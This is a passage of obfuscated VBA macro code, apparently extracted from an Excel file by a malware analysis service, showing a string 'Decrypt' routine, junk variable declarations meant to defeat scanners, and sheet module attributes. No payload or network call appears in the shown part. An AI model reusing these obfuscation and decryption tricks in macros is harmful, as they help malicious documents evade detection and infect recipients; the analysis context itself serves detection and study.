NLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESI Then GoTo LSub Next LSub: Decrypt = Decrypt & Mid(TZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQB, WQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWW, 1) Case Else Decrypt = Decrypt & NLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESI End Select Next For NhjfopiIp = 1 To Len(enc) Next For IlfJMG = 1 To Len(enc) Next End Function Function kuail(burgerorgan, bonusshoot) qoxnwkqnhfshhimr = "" & burgerorgan & "" Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double be3a8c1f30f1abadd648e22b16fdb57d7 = 742.162 Dim columnwall As Byte columnwall = 44414.429 Dim t0ea0a0840384a15e019665b2e996b73f As Long t0ea0a0840384a15e019665b2e996b73f = 464.954 Dim n2b549c2e42dc58d564726b5780212aza As Double n2b549c2e42dc58d564726b5780212aza = 695.115 dhmpmrvyvrxwv = vbNullString Dim m974e3e334b64ac13b6dec997fbabf21f As String m974e3e334b64ac13b6dec997fbabf21f = "naiveremove" Dim b08576ffe41cb67690655f1261f410844 As Byte b08576ffe41cb67690655f1261f410844 = 19.227 Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean z2c55929d38494d4bf3ab6ba3dd16305c = 93.904 Dim b9d76f7072ca3da29e82e55579143fba0 As Double b9d76f7072ca3da29e82e55579143fba0 = 108.662 If Not bonusshoot Like qoxnwkqnhfshhimr Then dhmpmrvyvrxwv = burgerorgan Dim kqeepfyakmzwuediw As Double kqeepfyakmzwuediw = 61.491 If kqeepfyakmzwuediw <> 189.252 Then Dim flamesight As Byte flamesight = 212.797 Dim sweartrust As Long sweartrust = 235.981 Dim prqhhqrabc As String prqhhqrabc = "fadzjgdilazu" End If End Function Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.